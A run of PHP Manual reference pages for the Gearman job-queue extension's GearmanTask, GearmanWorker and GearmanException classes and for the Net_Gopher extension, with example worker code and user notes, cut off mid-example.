  • « GearmanTask::dataSize
  • GearmanTask::functionName »
  • PHP Manual
  • GearmanTask
  • Get associated function name (deprecated)

GearmanTask::function

(PECL gearman <= 0.5.0)

GearmanTask::function — Get associated function name (deprecated)

Description

public string GearmanTask::function ( void )

Returns the name of the function this task is associated with, i.e., the function the Gearman worker calls.

Note:

This method has been replaced by GearmanTask::functionName() in the 0.6.0 release of the Gearman extension.

Parameters

This function has no parameters.

Return Values

A function name.

User Contributed Notes

There are no user contributed notes for this page.


Get associated function name

  • « GearmanTask::function
  • GearmanTask::isKnown »
  • PHP Manual
  • GearmanTask
  • Get associated function name

GearmanTask::functionName

(PECL gearman >= 0.6.0)

GearmanTask::functionName — Get associated function name

Description

public string GearmanTask::functionName ( void )

Returns the name of the function this task is associated with, i.e., the function the Gearman worker calls.

Parameters

This function has no parameters.

Return Values

A function name.

User Contributed Notes

There are no user contributed notes for this page.


Determine if task is known

  • « GearmanTask::functionName
  • GearmanTask::isRunning »
  • PHP Manual
  • GearmanTask
  • Determine if task is known

GearmanTask::isKnown

(PECL gearman >= 0.5.0)

GearmanTask::isKnown — Determine if task is known

Description

public bool GearmanTask::isKnown ( void )

Gets the status information for whether or not this task is known to the job server.

Parameters

This function has no parameters.

Return Values

TRUE if the task is known, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Test whether the task is currently running

  • « GearmanTask::isKnown
  • GearmanTask::jobHandle »
  • PHP Manual
  • GearmanTask
  • Test whether the task is currently running

GearmanTask::isRunning

(PECL gearman >= 0.5.0)

GearmanTask::isRunning — Test whether the task is currently running

Description

public bool GearmanTask::isRunning ( void )

Indicates whether or not this task is currently running.

Parameters

This function has no parameters.

Return Values

TRUE if the task is running, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Get the job handle

  • « GearmanTask::isRunning
  • GearmanTask::recvData »
  • PHP Manual
  • GearmanTask
  • Get the job handle

GearmanTask::jobHandle

gearman_job_handle

(PECL gearman >= 0.5.0)

GearmanTask::jobHandle -- gearman_job_handle — Get the job handle

Description

public string GearmanTask::jobHandle ( void )

Returns the job handle for this task.

Parameters

This function has no parameters.

Return Values

The opaque job handle.

See Also

  • GearmanClient::doJobHandle() - Get the job handle for the running task

User Contributed Notes

chris at cmbuckley dot co dot uk 15-Aug-2013 05:38
The job handle is not assigned until the task is received and queued by the job server, so you will need to use one of the client callbacks to access the handle:

<?php
$client->setCreatedCallback(function ($task) {
    var_dump($task->jobHandle()); // "H:server:1"
});
$task = $client->addTask('function', 'workload');
var_dump($task->jobHandle()); // ""


Read work or result data into a buffer for a task

  • « GearmanTask::jobHandle
  • GearmanTask::returnCode »
  • PHP Manual
  • GearmanTask
  • Read work or result data into a buffer for a task

GearmanTask::recvData

(PECL gearman >= 0.5.0)

GearmanTask::recvData — Read work or result data into a buffer for a task

Description

public array GearmanTask::recvData ( int $data_len )

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

data_len

Length of data to be read.

Return Values

An array whose first element is the length of data read and the second is the data buffer. Returns FALSE if the read failed.

See Also

  • GearmanTask::sendData() - Send data for a task (deprecated)

User Contributed Notes

There are no user contributed notes for this page.


Get the last return code

  • « GearmanTask::recvData
  • GearmanTask::sendData »
  • PHP Manual
  • GearmanTask
  • Get the last return code

GearmanTask::returnCode

(PECL gearman >= 0.5.0)

GearmanTask::returnCode — Get the last return code

Description

public int GearmanTask::returnCode ( void )

Returns the last Gearman return code for this task.

Parameters

This function has no parameters.

Return Values

A valid Gearman return code.

See Also

  • GearmanClient::returnCode() - Get the last Gearman return code

User Contributed Notes

There are no user contributed notes for this page.


Send data for a task (deprecated)

  • « GearmanTask::returnCode
  • GearmanTask::sendWorkload »
  • PHP Manual
  • GearmanTask
  • Send data for a task (deprecated)

GearmanTask::sendData

(PECL gearman <= 0.5.0)

GearmanTask::sendData — Send data for a task (deprecated)

Description

public int GearmanTask::sendData ( string $data )

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

data

Data to send to the worker.

Return Values

The length of data sent, or FALSE if the send failed.

See Also

  • GearmanTask::recvData() - Read work or result data into a buffer for a task

User Contributed Notes

There are no user contributed notes for this page.


Send data for a task

  • « GearmanTask::sendData
  • GearmanTask::taskDenominator »
  • PHP Manual
  • GearmanTask
  • Send data for a task

GearmanTask::sendWorkload

(PECL gearman >= 0.6.0)

GearmanTask::sendWorkload — Send data for a task

Description

public int GearmanTask::sendWorkload ( string $data )

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

data

Data to send to the worker.

Return Values

The length of data sent, or FALSE if the send failed.

See Also

  • GearmanTask::recvData() - Read work or result data into a buffer for a task

User Contributed Notes

There are no user contributed notes for this page.


Get completion percentage denominator

  • « GearmanTask::sendWorkload
  • GearmanTask::taskNumerator »
  • PHP Manual
  • GearmanTask
  • Get completion percentage denominator

GearmanTask::taskDenominator

(PECL gearman >= 0.5.0)

GearmanTask::taskDenominator — Get completion percentage denominator

Description

public int GearmanTask::taskDenominator ( void )

Returns the denominator of the percentage of the task that is complete expressed as a fraction.

Parameters

This function has no parameters.

Return Values

A number between 0 and 100, or FALSE if cannot be determined.

See Also

  • GearmanTask::taskNumerator() - Get completion percentage numerator

User Contributed Notes

There are no user contributed notes for this page.


Get completion percentage numerator

  • « GearmanTask::taskDenominator
  • GearmanTask::unique »
  • PHP Manual
  • GearmanTask
  • Get completion percentage numerator

GearmanTask::taskNumerator

(PECL gearman >= 0.5.0)

GearmanTask::taskNumerator — Get completion percentage numerator

Description

public int GearmanTask::taskNumerator ( void )

Returns the numerator of the percentage of the task that is complete expressed as a fraction.

Parameters

This function has no parameters.

Return Values

A number between 0 and 100, or FALSE if cannot be determined.

See Also

  • GearmanTask::taskDenominator() - Get completion percentage denominator

User Contributed Notes

There are no user contributed notes for this page.


Get the unique identifier for a task

  • « GearmanTask::taskNumerator
  • GearmanTask::uuid »
  • PHP Manual
  • GearmanTask
  • Get the unique identifier for a task

GearmanTask::unique

(PECL gearman >= 0.6.0)

GearmanTask::unique — Get the unique identifier for a task

Description

public string GearmanTask::unique ( void )

Returns the unique identifier for this task. This is assigned by the GearmanClient, as opposed to the job handle which is set by the Gearman job server.

Parameters

This function has no parameters.

Return Values

The unique identifier, or FALSE if no identifier is assigned.

See Also

  • GearmanClient::do() - Run a single task and return a result [deprecated]
  • GearmanClient::addTask() - Add a task to be run in parallel

User Contributed Notes

There are no user contributed notes for this page.


Get the unique identifier for a task (deprecated)

  • « GearmanTask::unique
  • GearmanWorker »
  • PHP Manual
  • GearmanTask
  • Get the unique identifier for a task (deprecated)

GearmanTask::uuid

(PECL gearman <= 0.5.0)

GearmanTask::uuid — Get the unique identifier for a task (deprecated)

Description

public string GearmanTask::uuid ( void )

Returns the unique identifier for this task. This is assigned by the GearmanClient, as opposed to the job handle which is set by the Gearman job server.

Note:

This method has been replaced by GearmanTask::unique() in the 0.6.0 release of the Gearman extension.

Parameters

This function has no parameters.

Return Values

The unique identifier, or FALSE if no identifier is assigned.

See Also

  • GearmanClient::do() - Run a single task and return a result [deprecated]
  • GearmanClient::addTask() - Add a task to be run in parallel

User Contributed Notes

There are no user contributed notes for this page.


The GearmanWorker class

(PECL gearman >= 0.5.0)

Introduction

Class synopsis

GearmanWorker {
/* Methods */
public bool addFunction ( string $function_name , callable $function [, mixed &$context [, int $timeout ]] )
public bool addOptions ( int $option )
public bool addServer ([ string $host = 127.0.0.1 [, int $port = 4730 ]] )
public bool addServers ( string $servers = 127.0.0.1:4730 )
public void clone ( void )
public __construct ( void )
public bool echo ( string $workload )
public string error ( void )
public int getErrno ( void )
public int options ( void )
public bool register ( string $function_name [, int $timeout ] )
public bool removeOptions ( int $option )
public int returnCode ( void )
public bool setId ( string $id )
public bool setOptions ( int $option )
public bool setTimeout ( int $timeout )
public int timeout ( void )
public bool unregister ( string $function_name )
public bool unregisterAll ( void )
public bool wait ( void )
public bool work ( void )
}

Table of Contents

  • GearmanWorker::addFunction — Register and add callback function
  • GearmanWorker::addOptions — Add worker options
  • GearmanWorker::addServer — Add a job server
  • GearmanWorker::addServers — Add job servers
  • GearmanWorker::clone — Create a copy of the worker
  • GearmanWorker::__construct — Create a GearmanWorker instance
  • GearmanWorker::echo — Test job server response
  • GearmanWorker::error — Get the last error encountered
  • GearmanWorker::getErrno — Get errno
  • GearmanWorker::options — Get worker options
  • GearmanWorker::register — Register a function with the job server
  • GearmanWorker::removeOptions — Remove worker options
  • GearmanWorker::returnCode — Get last Gearman return code
  • GearmanWorker::setId — Give the worker an identifier so it can be tracked when asking gearmand for the list of available workers.
  • GearmanWorker::setOptions — Set worker options
  • GearmanWorker::setTimeout — Set socket I/O activity timeout
  • GearmanWorker::timeout — Get socket I/O activity timeout
  • GearmanWorker::unregister — Unregister a function name with the job servers
  • GearmanWorker::unregisterAll — Unregister all function names with the job servers
  • GearmanWorker::wait — Wait for activity from one of the job servers
  • GearmanWorker::work — Wait for and perform jobs

User Contributed Notes

spacewalker2002 at ukr dot net 26-Apr-2013 05:09
For background run use:

exec("nohup php worker.php >/dev/null 2>/dev/null &");


Register and add callback function

  • « GearmanWorker
  • GearmanWorker::addOptions »
  • PHP Manual
  • GearmanWorker
  • Register and add callback function

GearmanWorker::addFunction

(PECL gearman >= 0.5.0)

GearmanWorker::addFunction — Register and add callback function

Description

public bool GearmanWorker::addFunction ( string $function_name , callable $function [, mixed &$context [, int $timeout ]] )

Registers a function name with the job server and specifies a callback corresponding to that function. Optionally specify extra application context data to be used when the callback is called and a timeout.

Parameters

function_name

The name of a function to register with the job server

function

A callback that gets called when a job for the registered function name is submitted

context

A reference to arbitrary application context data that can be modified by the worker function

timeout

An interval of time in seconds

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Simple worker making use of extra application context data

<?php

# get a gearman worker
$worker= new GearmanWorker();

# add the default server (localhost)
$worker->addServer();

# define a variable to hold application data
$count= 0;

# add the "reverse" function
$worker->addFunction("reverse", "reverse_cb", $count);

# start the worker
while ($worker->work());

function reverse_cb($job, &$count)
{
  $count++;
  return "$count: " . strrev($job->workload());
}

?>

Running a client that submits two jobs for the reverse function would have output similar to the following:

1: olleh
2: dlrow

See Also

  • GearmanClient::do() - Run a single task and return a result [deprecated]

User Contributed Notes

There are no user contributed notes for this page.


Add worker options

  • « GearmanWorker::addFunction
  • GearmanWorker::addServer »
  • PHP Manual
  • GearmanWorker
  • Add worker options

GearmanWorker::addOptions

(PECL gearman >= 0.6.0)

GearmanWorker::addOptions — Add worker options

Description

public bool GearmanWorker::addOptions ( int $option )

Adds one or more options to the options previously set.

Parameters

option

The options to be added

Return Values

Always returns TRUE.

See Also

  • GearmanWorker::options() - Get worker options
  • GearmanClient::setOptions() - Set client options
  • GearmanClient::removeOptions() - Remove client options

User Contributed Notes

There are no user contributed notes for this page.


Add a job server

  • « GearmanWorker::addOptions
  • GearmanWorker::addServers »
  • PHP Manual
  • GearmanWorker
  • Add a job server

GearmanWorker::addServer

(PECL gearman >= 0.5.0)

GearmanWorker::addServer — Add a job server

Description

public bool GearmanWorker::addServer ([ string $host = 127.0.0.1 [, int $port = 4730 ]] )

Adds a job server to this worker. This goes into a list of servers than can be used to run jobs. No socket I/O happens here.

Parameters

host

The job server host name.

port

The job server port.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Add alternate Gearman servers

<?php
$worker= new GearmanWorker();
$worker->addServer("10.0.0.1");
$worker->addServer("10.0.0.2", 7003);
?>

See Also

  • GearmanWorker::addServers() - Add job servers

User Contributed Notes

617137379 at qq dot com 30-Oct-2013 05:10
No socket I/O happens in addserver.
gabe dot spradlin at gmail dot com 27-Sep-2013 12:42
The manual states that you get a TRUE on success and FALSE on failure. When I have attempted to connect to a server that is powered off I still get TRUE. The return from returnCode() is 0 which is the same as the returnCode() from a successful connection.

I have not yet found a way around this.
magge 15-Oct-2012 04:21
If you suddenly start getting a:

PHP Fatal error:  Uncaught exception 'GearmanException' with message 'Failed to set exception option' in

...on your GearmanWorker::work() calls, I was able to fix this by specifying values to GearmanWorker::addServer(), even if they are the same as the documented default values.

Crashes:

<?php
$gmw = new GearmanWorker();
$gmw->addServer();
$gmw->work();
?>

Works:

<?php
$gmw = new GearmanWorker();
$gmw->addServer("127.0.0.1", 4730);
$gmw->work();
?>

Go figure. :)


Add job servers

  • « GearmanWorker::addServer
  • GearmanWorker::clone »
  • PHP Manual
  • GearmanWorker
  • Add job servers

GearmanWorker::addServers

(PECL gearman >= 0.5.0)

GearmanWorker::addServers — Add job servers

Description

public bool GearmanWorker::addServers ( string $servers = 127.0.0.1:4730 )

Adds one or more job servers to this worker. These go into a list of servers that can be used to run jobs. No socket I/O happens here.

Parameters

servers

A comma separated list of job servers in the format host:port. If no port is specified, it defaults to 4730.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Add two job servers

<?php

$worker= new GearmanWorker();
$worker->addServers("10.0.0.1,10.0.0.2:7003");

?>

See Also

  • GearmanWorker::addServer() - Add a job server

User Contributed Notes

matthew day 23-Nov-2011 09:45
as of this note, the current released version of gearman doesn't really work so well to add multiple servers, although it's fixed in SVN

see: https://bugs.php.net/bug.php?id=59423

if i just add one server to my worker, it works just fine and sits and waits for a job to do

if I have more than 1 server in my worker, i get a timeout warning which causes the worker to generate a php notice and the while loop fails.


Create a copy of the worker

  • « GearmanWorker::addServers
  • GearmanWorker::__construct »
  • PHP Manual
  • GearmanWorker
  • Create a copy of the worker

GearmanWorker::clone

(PECL gearman >= 0.5.0)

GearmanWorker::clone — Create a copy of the worker

Description

public void GearmanWorker::clone ( void )

Creates a copy of the worker.

Parameters

This function has no parameters.

Return Values

A GearmanWorker object

User Contributed Notes

There are no user contributed notes for this page.


Create a GearmanWorker instance

  • « GearmanWorker::clone
  • GearmanWorker::echo »
  • PHP Manual
  • GearmanWorker
  • Create a GearmanWorker instance

GearmanWorker::__construct

(PECL gearman >= 0.5.0)

GearmanWorker::__construct — Create a GearmanWorker instance

Description

public GearmanWorker::__construct ( void )

Creates a GearmanWorker instance representing a worker that connects to the job server and accepts tasks to run.

Parameters

This function has no parameters.

Return Values

A GearmanWorker object

See Also

  • GearmanWorker::clone() - Create a copy of the worker

User Contributed Notes

There are no user contributed notes for this page.


Test job server response

  • « GearmanWorker::__construct
  • GearmanWorker::error »
  • PHP Manual
  • GearmanWorker
  • Test job server response

GearmanWorker::echo

(PECL gearman >= 0.6.0)

GearmanWorker::echo — Test job server response

Description

public bool GearmanWorker::echo ( string $workload )

Sends data to all job servers to see if they echo it back. This is a test function to see if job servers are responding properly.

Parameters

workload

Arbitrary serialized data

Return Values

Standard Gearman return value.

See Also

  • GearmanClient::echo() - Send data to all job servers to see if they echo it back [deprecated]

User Contributed Notes

There are no user contributed notes for this page.


Get the last error encountered

  • « GearmanWorker::echo
  • GearmanWorker::getErrno »
  • PHP Manual
  • GearmanWorker
  • Get the last error encountered

GearmanWorker::error

(PECL gearman >= 0.5.0)

GearmanWorker::error — Get the last error encountered

Description

public string GearmanWorker::error ( void )

Returns an error string for the last error encountered.

Parameters

This function has no parameters.

Return Values

An error string.

See Also

  • GearmanWorker::getErrno() - Get errno

User Contributed Notes

There are no user contributed notes for this page.


Get errno

  • « GearmanWorker::error
  • GearmanWorker::options »
  • PHP Manual
  • GearmanWorker
  • Get errno

GearmanWorker::getErrno

(PECL gearman >= 0.5.0)

GearmanWorker::getErrno — Get errno

Description

public int GearmanWorker::getErrno ( void )

Returns the value of errno in the case of a GEARMAN_ERRNO return value.

Parameters

This function has no parameters.

Return Values

A valid errno.

See Also

  • GearmanWorker::error() - Get the last error encountered

User Contributed Notes

There are no user contributed notes for this page.


Get worker options

  • « GearmanWorker::getErrno
  • GearmanWorker::register »
  • PHP Manual
  • GearmanWorker
  • Get worker options

GearmanWorker::options

(PECL gearman >= 0.6.0)

GearmanWorker::options — Get worker options

Description

public int GearmanWorker::options ( void )

Gets the options previously set for the worker.

Parameters

This function has no parameters.

Return Values

The options currently set for the worker.

See Also

  • GearmanWorker::setOptions() - Set worker options

User Contributed Notes

There are no user contributed notes for this page.


Register a function with the job server

  • « GearmanWorker::options
  • GearmanWorker::removeOptions »
  • PHP Manual
  • GearmanWorker
  • Register a function with the job server

GearmanWorker::register

(PECL gearman >= 0.6.0)

GearmanWorker::register — Register a function with the job server

Description

public bool GearmanWorker::register ( string $function_name [, int $timeout ] )

Registers a function name with the job server with an optional timeout. The timeout specifies how many seconds the server will wait before marking a job as failed. If the timeout is set to zero, there is no timeout.

Parameters

function_name

The name of a function to register with the job server

timeout

An interval of time in seconds

Return Values

A standard Gearman return value.

See Also

  • GearmanWorker::unregister() - Unregister a function name with the job servers
  • GearmanWorker::unregisterAll() - Unregister all function names with the job servers

User Contributed Notes

There are no user contributed notes for this page.


Remove worker options

  • « GearmanWorker::register
  • GearmanWorker::returnCode »
  • PHP Manual
  • GearmanWorker
  • Remove worker options

GearmanWorker::removeOptions

(PECL gearman >= 0.6.0)

GearmanWorker::removeOptions — Remove worker options

Description

public bool GearmanWorker::removeOptions ( int $option )

Removes (unsets) one or more worker options.

Parameters

option

The options to be removed (unset)

Return Values

Always returns TRUE.

See Also

  • GearmanWorker::options() - Get worker options
  • GearmanWorker::setOptions() - Set worker options
  • GearmanWorker::addOptions() - Add worker options

User Contributed Notes

There are no user contributed notes for this page.


Get last Gearman return code

  • « GearmanWorker::removeOptions
  • GearmanWorker::setId »
  • PHP Manual
  • GearmanWorker
  • Get last Gearman return code

GearmanWorker::returnCode

(PECL gearman >= 0.5.0)

GearmanWorker::returnCode — Get last Gearman return code

Description

public int GearmanWorker::returnCode ( void )

Returns the last Gearman return code.

Parameters

This function has no parameters.

Return Values

A valid Gearman return code.

See Also

  • GearmanWorker::error() - Get the last error encountered
  • GearmanWorker::getErrno() - Get errno

User Contributed Notes

There are no user contributed notes for this page.


Give the worker an identifier so it can be tracked when asking gearmand for the list of available workers.

  • « GearmanWorker::returnCode
  • GearmanWorker::setOptions »
  • PHP Manual
  • GearmanWorker
  • Give the worker an identifier so it can be tracked when asking gearmand for the list of available workers.

GearmanWorker::setId

(No version information available, might only be in Git)

GearmanWorker::setId — Give the worker an identifier so it can be tracked when asking gearmand for the list of available workers.

Description

public bool GearmanWorker::setId ( string $id )

Assigns the worker an identifier.

Parameters

id

A string identifier.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 GearmanWorker::setId() example

Set an identifier for a simple worker.

<?php
$worker= new GearmanWorker();
$worker->setId('test');
?>

The above example will output something similar to:

Run the following command:
gearadmin --workers

Output:
30 ::3a3a:3361:3361:3a33%976303667 - : test

User Contributed Notes

There are no user contributed notes for this page.


Set worker options

  • « GearmanWorker::setId
  • GearmanWorker::setTimeout »
  • PHP Manual
  • GearmanWorker
  • Set worker options

GearmanWorker::setOptions

(PECL gearman >= 0.5.0)

GearmanWorker::setOptions — Set worker options

Description

public bool GearmanWorker::setOptions ( int $option )

Sets one or more options to the supplied value.

Parameters

option

The options to be set

Return Values

Always returns TRUE.

See Also

  • GearmanWorker::options() - Get worker options
  • GearmanWorker::addOptions() - Add worker options
  • GearmanWorker::removeOptions() - Remove worker options
  • GearmanClient::setOptions() - Set client options

User Contributed Notes

There are no user contributed notes for this page.


Set socket I/O activity timeout

  • « GearmanWorker::setOptions
  • GearmanWorker::timeout »
  • PHP Manual
  • GearmanWorker
  • Set socket I/O activity timeout

GearmanWorker::setTimeout

(PECL gearman >= 0.6.0)

GearmanWorker::setTimeout — Set socket I/O activity timeout

Description

public bool GearmanWorker::setTimeout ( int $timeout )

Sets the interval of time to wait for socket I/O activity.

Parameters

timeout

An interval of time in milliseconds. A negative value indicates an infinite timeout.

Return Values

Always returns TRUE.

Examples

Example #1 A simple worker with a 5 second timeout

<?php

echo "Starting\n";

# Create our worker object.
$gmworker= new GearmanWorker();

# Add default server (localhost).
$gmworker->addServer();

# Register function "reverse" with the server.
$gmworker->addFunction("reverse", "reverse_fn");

# Set the timeout to 5 seconds
$gmworker->setTimeout(5000);

echo "Waiting for job...\n";
while(@$gmworker->work() || $gmworker->returnCode() == GEARMAN_TIMEOUT)
{
  if ($gmworker->returnCode() == GEARMAN_TIMEOUT)
  {
    # Normally one would want to do something useful here ...
    echo "Timeout. Waiting for next job...\n";
    continue;
  }

  if ($gmworker->returnCode() != GEARMAN_SUCCESS)
  {
    echo "return_code: " . $gmworker->returnCode() . "\n";
    break;
  }
}

echo "Done\n";

function reverse_fn($job)
{
  return strrev($job->workload());
}

?>

Running the worker with no submitted jobs will generate output that looks like the following:

Starting
Waiting for job...
Timeout. Waiting for next job...
Timeout. Waiting for next job...
Timeout. Waiting for next job...

See Also

  • GearmanWorker::timeout() - Get socket I/O activity timeout

User Contributed Notes

There are no user contributed notes for this page.


Get socket I/O activity timeout

  • « GearmanWorker::setTimeout
  • GearmanWorker::unregister »
  • PHP Manual
  • GearmanWorker
  • Get socket I/O activity timeout

GearmanWorker::timeout

(PECL gearman >= 0.6.0)

GearmanWorker::timeout — Get socket I/O activity timeout

Description

public int GearmanWorker::timeout ( void )

Returns the current time to wait, in milliseconds, for socket I/O activity.

Parameters

This function has no parameters.

Return Values

A time period is milliseconds. A negative value indicates an infinite timeout.

See Also

  • GearmanWorker::setTimeout() - Set socket I/O activity timeout

User Contributed Notes

There are no user contributed notes for this page.


Unregister a function name with the job servers

  • « GearmanWorker::timeout
  • GearmanWorker::unregisterAll »
  • PHP Manual
  • GearmanWorker
  • Unregister a function name with the job servers

GearmanWorker::unregister

(PECL gearman >= 0.6.0)

GearmanWorker::unregister — Unregister a function name with the job servers

Description

public bool GearmanWorker::unregister ( string $function_name )

Unregisters a function name with the job servers ensuring that no more jobs (for that function) are sent to this worker.

Parameters

function_name

The name of a function to register with the job server

Return Values

A standard Gearman return value.

See Also

  • GearmanWorker::register() - Register a function with the job server
  • GearmanWorker::unregisterAll() - Unregister all function names with the job servers

User Contributed Notes

There are no user contributed notes for this page.


Unregister all function names with the job servers

  • « GearmanWorker::unregister
  • GearmanWorker::wait »
  • PHP Manual
  • GearmanWorker
  • Unregister all function names with the job servers

GearmanWorker::unregisterAll

(PECL gearman >= 0.6.0)

GearmanWorker::unregisterAll — Unregister all function names with the job servers

Description

public bool GearmanWorker::unregisterAll ( void )

Unregisters all previously registered functions, ensuring that no more jobs are sent to this worker.

Parameters

This function has no parameters.

Return Values

A standard Gearman return value.

See Also

  • GearmanWorker::register() - Register a function with the job server
  • GearmanWorker::unregister() - Unregister a function name with the job servers

User Contributed Notes

There are no user contributed notes for this page.


Wait for activity from one of the job servers

  • « GearmanWorker::unregisterAll
  • GearmanWorker::work »
  • PHP Manual
  • GearmanWorker
  • Wait for activity from one of the job servers

GearmanWorker::wait

(PECL gearman >= 0.6.0)

GearmanWorker::wait — Wait for activity from one of the job servers

Description

public bool GearmanWorker::wait ( void )

Causes the worker to wait for activity from one of the Gearman job servers when operating in non-blocking I/O mode. On failure, issues a E_WARNING with the last Gearman error encountered.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Running worker in non-blocking mode

<?php

echo "Starting\n";

# Create our worker object
$worker= new GearmanWorker();

# Make the worker non-blocking
$worker->addOptions(GEARMAN_WORKER_NON_BLOCKING);

# Add the default server (localhost, port 4730)
$worker->addServer();

# Add our reverse function
$worker->addFunction('reverse', 'reverse_fn');

# Try to grab a job
while (@$worker->work() ||
       $worker->returnCode() == GEARMAN_IO_WAIT ||
       $worker->returnCode() == GEARMAN_NO_JOBS)
{
  if ($worker->returnCode() == GEARMAN_SUCCESS)
    continue;

  echo "Waiting for next job...\n";
  if (!@$worker->wait())
  {
    if ($worker->returnCode() == GEARMAN_NO_ACTIVE_FDS)
    {
      # We are not connected to any servers, so wait a bit before
      # trying to reconnect.
      sleep(5);
      continue;
    }
    break;
  }
}

echo "Worker Error: " . $worker->error() . "\n";

function reverse_fn($job)
{
  return strrev($job->workload());
}

?>

See Also

  • GearmanWorker::work() - Wait for and perform jobs

User Contributed Notes

There are no user contributed notes for this page.


Wait for and perform jobs

  • « GearmanWorker::wait
  • GearmanException »
  • PHP Manual
  • GearmanWorker
  • Wait for and perform jobs

GearmanWorker::work

(PECL gearman >= 0.5.0)

GearmanWorker::work — Wait for and perform jobs

Description

public bool GearmanWorker::work ( void )

Waits for a job to be assigned and then calls the appropriate callback function. Issues an E_WARNING with the last Gearman error if the return code is not one of GEARMAN_SUCCESS, GEARMAN_IO_WAIT, or GEARMAN_WORK_FAIL.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 GearmanWorker::work() example

<?php

# create the worker
$worker = new GearmanWorker();

# add the default job server (localhost)
$worker->addServer();

# add the reverse function
$worker->addFunction("reverse", "my_reverse_function");

# start te worker listening for job submissions
while ($worker->work());

function my_reverse_function($job)
{
  return strrev($job->workload());
}

?>

See Also

  • GearmanWorker::addFunction() - Register and add callback function

User Contributed Notes

There are no user contributed notes for this page.


The GearmanException class

(PECL gearman >= 0.5.0)

Introduction

Class synopsis

GearmanException extends Exception {
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Methods */
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

There are no user contributed notes for this page.


Net Gopher

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic Example
  • Gopher Functions
    • gopher_parsedir — Translate a gopher formatted directory entry into an associative array.

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The gopher protocol, as defined by » RFC 1436, is generally considered the ancestor of the modern HTTP protocol. However, gopher was also intended to provide references to non-gopher resources including telnet, wais, nntp, and even http. This extension adds gopher support to PHP's URL Wrappers, and provides a helper function gopher_parsedir() to make sense of gopher formatted directory listings.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Prerequisite: PHP 4.3.0 or higher.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/net_gopher

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Net_Gopher constants
Constant | Value | Description
GOPHER_DOCUMENT | 0 | Standard text/plain document.
GOPHER_DIRECTORY | 1 | A resource containing a gopher formatted directory listing.
GOPHER_BINHEX | 4 | A BinHex encoded binary file.
GOPHER_DOSBINARY | 5 | A DOS formatted binary archive.
GOPHER_UUENCODED | 6 | A UUEncoded file.
GOPHER_BINARY | 9 | A generic binary file.
GOPHER_INFO | 255 | An Informational entry
GOPHER_HTTP | 254 | A reference to an HTTP resource.
GOPHER_UNKNOWN | -1 | An unrecognized entry.

User Contributed Notes

There are no user contributed notes for this page.


Examples

Table of Contents

  • Basic Example

User Contributed Notes

There are no user contributed notes for this page.


Basic Example

<?php
readfile("gopher://gopher.example.com/somedocument");
?>

User Contributed Notes

There are no user contributed notes for this page.


Gopher Functions

Table of Contents

  • gopher_parsedir — Translate a gopher formatted directory entry into an associative array.

User Contributed Notes

There are no user contributed notes for this page.


Translate a gopher formatted directory entry into an associative array.

  • « Gopher Functions
  • Gupnp »
  • PHP Manual
  • Gopher Functions
  • Translate a gopher formatted directory entry into an associative array.

gopher_parsedir

(PECL net_gopher >= 0.1)

gopher_parsedir — Translate a gopher formatted directory entry into an associative array.

Description

array gopher_parsedir ( string $dirent )

gopher_parsedir() parses a gopher formatted directory entry into an associative array.

While gopher returns text/plain documents for actual document requests. A request to a directory (such as /) will return specially encoded series of lines with each line being one directory entry or information line.

Parameters

dirent

The directory entry.

Return Values

Returns an associative array whose components are:

  • type - One of the GOPHER_XXX constants.
  • title - The name of the resource.
  • path - The path of the resource.
  • host - The domain name of the host that has this document (or directory).
  • port - The port at which to connect on host.

Upon failure, the additional data entry of the returned array will hold the parsed line.

Examples

Example #1 Hypothetical output from gopher://gopher.example.com/

0All about my gopher site.               /allabout.txt               gopher.example.com    70
9A picture of my cat.                    /pics/cat.png               gopher.example.com    70
1A collection of my writings.            /stories                    gopher.example.com    70
hThe HTTP version of this site.          URL:http://www.example.com  gopher.example.com    70
1Mirror of this site in Spain.           /                           gopher.ejemplo.co.es  70
iWelcome to my gopher site.                                          error.host            1
iPlease select one of the options above                              error.host            1
iSend complaints to /dev/null                                        error.host            1
iLong live gopher!                                                   error.host            1

In the example above, the root directory at gopher.example.com knows about one DOCUMENT identified by 0 located at gopher://gopher.example.com:70/allabout.txt. It also knows about two other directory (which have their own listing files) at gopher://gopher.exmaple.com:70/stories and at gopher://gopher.ejemplo.co.es:70/. In addition there is a binary file, a link to an HTTP url, and several informative lines.

By passing each line of the directory listing into gopher_parsedir(), an associative array is formed containing a parsed out version of the data.

Example #2 Using gopher_parsedir()

<?php
$directory = file("gopher://gopher.example.com");

foreach($directory as $dirent) {
    print_r(gopher_parsedir($dirent));
}
?>

The above example will output:

Array (
  [type] => 0
  [title] => All about my gopher site.
  [path] => /allabout.txt
  [host] => gopher.example.com
  [port] => 70
)
Array (
  [type] => 9
  [title] => A picture of my cat.
  [path] => /pics/cat.png
  [host] => gopher.example.com
  [port] => 70
)
Array (
